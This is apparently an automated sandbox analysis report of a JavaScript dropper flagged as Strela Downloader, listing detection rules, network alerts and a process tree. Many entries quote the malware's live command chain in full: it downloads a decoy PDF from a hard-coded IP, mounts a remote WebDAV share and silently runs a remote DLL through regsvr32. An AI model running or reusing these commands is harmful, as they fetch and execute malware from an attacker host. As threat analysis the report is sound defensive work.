Edit tour

Windows Analysis Report
3254519122657813770.js

Overview

General Information

Sample name:	3254519122657813770.js
Analysis ID:	1587567
MD5:	c75bb41a692dc69caff2b4e9779d28ad
SHA1:	8553a0f6a4bac8efb3ce9b8459345756e54d7d7a
SHA256:	1b9b7195712f8c816641f0838fe37aafc39364ee25b72e02591709aefbd741d9
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3164 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2756 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1980 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3040 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4936 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5940 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,2960516185180761318,10933091778614446208,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4136 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5872 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 352 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3164	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2756, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1980, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2756, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1980, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", ProcessId: 3164, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5872, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, ProcessId: 2756, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, ProcessId: 2756, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, ProcessId: 2756, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, ProcessId: 2756, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, ProcessId: 2756, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", ProcessId: 3164, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2756, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1980, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4136, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5872, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 352, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4136, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5872, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3254519122657813770.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll, ProcessId: 2756, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:01:25.679042+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:01:23.134809+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3254519122657813770.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3254519122657813770.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 14:01:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

